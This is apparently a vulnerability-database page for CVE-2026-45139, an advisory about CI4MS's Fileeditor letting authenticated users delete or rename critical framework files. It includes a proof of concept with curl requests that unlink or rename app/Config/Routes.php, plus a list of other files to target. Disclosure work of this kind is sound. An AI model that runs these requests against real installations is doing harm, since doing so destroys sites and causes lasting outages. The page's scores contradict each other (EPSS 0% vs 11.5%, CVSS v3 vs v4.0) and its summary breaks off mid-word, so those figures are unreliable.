CVE-2026-45139

MEDIUMPre-NVD 6.56.5
EchelonGraph scoreLOW confidence

This medium-severity CVE scores 6.5 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.0%, top 89% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
6.5
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS: 0%CVSS: 6.5Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

CI4MS Fileeditor allows deletion and rename of critical application files due to missing extension allowlist on destructive operations

Summary

The Fileeditor module enforces an extension allowlist (['css','js','html','txt','json','sql','md']) on content-write operations (saveFile, createFile), but two destructive endpoints — deleteFileOrFolder and renameFile — never validate the extension of the *source* path. A backend user with file-editor permissions can therefore unlink or rename any file inside the project root that is not explicitly listed in the small $hiddenItems blocklist. Critical framework files such as app/Config/Routes.php, app/Config/App.php, app/Config/Database.php, app/Config/Filters.php, public/index.php, and public/.htaccess all live outside that blocklist and can be destroyed, producing a persistent denial of service that requires filesystem-level redeployment to recover.

Details

Root cause: inconsistent application of the extension allowlist across Fileeditor operations in modules/Fileeditor/Controllers/Fileeditor.php.

The class declares an allowlist used by content-write operations:

// modules/Fileeditor/Controllers/Fileeditor.php:9
protected $allowedExtensions = ['css', 'js', 'html', 'txt', 'json', 'sql', 'md'];

// line 239 private function allowedFileTypes(string $file): bool { $extension = pathinfo($file, PATHINFO_EXTENSION); if (!in_array(strtolower($extension), $this->allowedExtensions)) { return false; } return true; }

saveFile (line 110) and createFile (line 167) correctly call allowedFileTypes() against the target path before writing. The two destructive endpoints do not:

// deleteFileOrFolder — modules/Fileeditor/Controllers/Fileeditor.php:210-237
public function deleteFileOrFolder()
{
    $valData = ([
        'path' => ['label' => '', 'rules' => 'required|max_length[255]|regex_match[/^[a-zA-Z0-9_ \-\.\/]+$/]'],
    ]);
    if ($this->validate($valData) == false) return $this->fail($this->validator->getErrors());
    $path = $this->request->getVar('path');
    if ($this->isHiddenPath($path)) {
        return $this->failForbidden();
    }
    $fullPath = realpath(ROOTPATH . $path);

if (!$fullPath || strpos($fullPath, realpath(ROOTPATH)) !== 0) { return $this->response->setJSON(['error' => lang('Fileeditor.invalidFileOrFolder')])->setStatusCode(400); }

if (is_dir($fullPath)) { $result = rmdir($fullPath); } else { $result = unlink($fullPath); // executes on ANY extension } ... }

// renameFile — modules/Fileeditor/Controllers/Fileeditor.php:123-151
public function renameFile()
{
    ...
    $path = $this->request->getVar('path');
    if ($this->isHiddenPath($path)) {
        return $this->failForbidden();
    }
    $newName = $this->request->getVar('newName');
    $fullPath = realpath(ROOTPATH . $path);
    $newPath = dirname($fullPath) . DIRECTORY_SEPARATOR . $newName;

if (!$this->allowedFileTypes($newName)) // <— only the destination is checked return $this->failForbidden(); ... if (rename($fullPath, $newPath)) { ... } // source extension never validated }

The validation gauntlet a path traverses before reaching unlink()/rename():

  • Regex /^[a-zA-Z0-9_ \-\.\/]+$/ — admits any path made of alphanumerics, dots, dashes, underscores, slashes (matches app/Config/Routes.php trivially).
  • isHiddenPath() — only blocks paths whose individual segments equal an entry in $hiddenItems:

// modules/Fileeditor/Controllers/Fileeditor.php:10-26
protected $hiddenItems = [
    '.git', '.github', '.idea', '.vscode', 'node_modules', 'vendor',
    'writable', '.env', 'env', 'composer.json', 'composer.lock',
    'tests', 'spark', 'phpunit.xml.dist', 'preload.php'
];

Critical CodeIgniter 4 framework files (app, Config, Routes.php, App.php, Database.php, Filters.php, public, index.php, .htaccess) are not members of this list, so they pass.

  • realpath + strpos containment — confirms the resolved path is inside ROOTPATH. Routes.php, etc., are inside ROOTPATH and pass.
  • Sinkunlink() or rename() runs unconditionally; no extension allowlist applied.

The recent security patch in commit 379ebb6 ("Security: patch critical vulnerabilities and bump to v0.31.4.0") added isHiddenPath() invocations to every endpoint, addressing the previous .env reachability. It did not address the missing extension allowlist on delete and rename source paths. The inconsistency therefore survives in HEAD (v0.31.8.0).

Authorization is provided by the backendGuard filter (modules/Fileeditor/Config/FileeditorConfig.php:12-17) routing through Modules\Auth\Filters\Ci4MsAuthFilter, which requires the role permission fileeditor.delete for deleteFileOrFolder and fileeditor.update for renameFile. Superadmins always pass; role-assigned users with only the Fileeditor permission can also reach the sink, exceeding the editor's apparent design intent (the allowlist on save/create signals that the editor is meant to handle only safe content-type files).

PoC

Prerequisites: an authenticated session with fileeditor.delete (or superadmin) for step 1, and fileeditor.update for step 2. The application is mounted under backend/, not admin/.

# 1) Arbitrary file deletion (no extension check at all)
curl -X POST 'https://target/backend/fileeditor/deleteFileOrFolder' \
  -H 'Cookie: ci_session=' \
  --data-urlencode 'path=app/Config/Routes.php'

-> {"success": true}

Routes.php is unlinked. The next request fails because no routes load. Persistent DoS.

Equivalently catastrophic targets (none of these segments are in $hiddenItems):

path=public/index.php (front controller — entire app dead)

path=app/Config/App.php (core app config)

path=app/Config/Database.php (DB config)

path=app/Config/Filters.php (auth/CSRF filters)

path=public/.htaccess (rewrite + security rules)

2) Rename .php to neutralize the file without checking the source extension

curl -X POST 'https://target/backend/fileeditor/renameFile' \ -H 'Cookie: ci_session=' \ --data-urlencode 'path=app/Config/Routes.php' \ --data-urlencode 'newName=Routes.txt'

-> {"success": true}

Routes.php disappears, becomes Routes.txt. Routing dies on next request.

Trace verifying the validation logic for path=app/Config/Routes.php:

  • Regex /^[a-zA-Z0-9_ \-\.\/]+$/ — matches.
  • isHiddenPath('app/Config/Routes.php') — segments ['app','Config','Routes.php'], none in $hiddenItems → returns false.
  • realpath(ROOTPATH . 'app/Config/Routes.php') — resolves inside ROOTPATH, containment check passes.
  • unlink($fullPath) (deleteFileOrFolder, line 229) or rename($fullPath, $newPath) (renameFile, line 146) executes — no extension allowlist applied.

Impact

A backend user holding the Fileeditor delete or update permission can:

  • Delete or neutralize the front controller (public/index.php), routing config (app/Config/Routes.php), database config (app/Config/Database.php), filter pipeline (app/Config/Filters.php), web-server rules (public/.htaccess), or any other framework file inside the project root.
  • Cause persistent denial of service: the application becomes unreachable on the next request and there is no in-app "restore" — recovery requires filesystem access (redeploy, git checkout, or backup restore).
  • Destroy data files inside the project tree (e.g. SQLite databases, cached config) outside the small $hiddenItems blocklist.

The destructive surface exceeds Fileeditor's intended capability: the saveFile/createFile allowlist signals an explicit design intent to restrict modifications to safe content extensions, yet delete/rename can target arbitrary file types. Even where the actor is already a superadmin, the bug widens the d

CVSS v3
6.5
EG Score
6.5(low)
EPSS
11.5%
KEV
Not listed

Published

May 18, 2026

Last Modified

May 18, 2026

Vendor Advisories for CVE-2026-45139(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
Packagist(1)
PackageVulnerable rangeFixed inDependents
ci4-cms-erp/ci4ms0.21.0 ... 0.31.9 (57 versions)0.31.9.0

Data Freshness Timeline

(refreshed 0× in last 7d / 13× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-06-29 21:10 UTCEG score recompute
  2. 2026-06-27 21:22 UTCEG score recompute
  3. 2026-06-26 19:56 UTCEG score recompute
  4. 2026-06-25 17:46 UTCEG score recompute
  5. 2026-06-17 21:34 UTCEG score recompute
  6. 2026-06-16 22:22 UTCEG score recompute
  7. 2026-06-15 23:11 UTCEG score recompute
  8. 2026-06-14 23:18 UTCEPSS rescore
  9. 2026-06-14 22:08 UTCEG score recompute
  10. 2026-06-13 23:00 UTCEPSS rescore
  11. 2026-06-13 22:54 UTCEG score recompute
  12. 2026-06-12 23:12 UTCEPSS rescore
  13. 2026-06-12 19:39 UTCEG score recompute
  14. 2026-06-11 20:27 UTCEG score recompute
  15. 2026-06-10 21:16 UTCEG score recompute
  16. 2026-06-09 22:04 UTCEG score recompute
  17. 2026-06-08 22:52 UTCEG score recompute
  18. 2026-06-07 23:40 UTCEG score recompute
  19. 2026-06-07 00:28 UTCEG score recompute
  20. 2026-06-06 01:16 UTCEG score recompute
  21. 2026-06-05 02:04 UTCEG score recompute
  22. 2026-06-04 02:52 UTCEG score recompute
  23. 2026-06-03 03:40 UTCEG score recompute
  24. 2026-06-02 04:28 UTCEG score recompute
  25. 2026-06-01 05:16 UTCEG score recompute
Show 1 more
  1. 2026-05-24 06:17 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-45139?
CVE-2026-45139 is a medium vulnerability published on May 18, 2026. CI4MS Fileeditor allows deletion and rename of critical application files due to missing extension allowlist on destructive operations Summary The Fileeditor module enforces an extension allowlist (['css','js','html','txt','json','sql','md']) on content-write operations (saveFile, createFile), but…
When was CVE-2026-45139 disclosed?
CVE-2026-45139 was first published in the National Vulnerability Database on May 18, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-45139 actively exploited?
CVE-2026-45139 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 11.5% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-45139?
CVE-2026-45139 has a CVSS v4.0 base score of 6.5 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-45139?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-45139, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-45139

Explore →

Is Your Infrastructure Affected by CVE-2026-45139?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.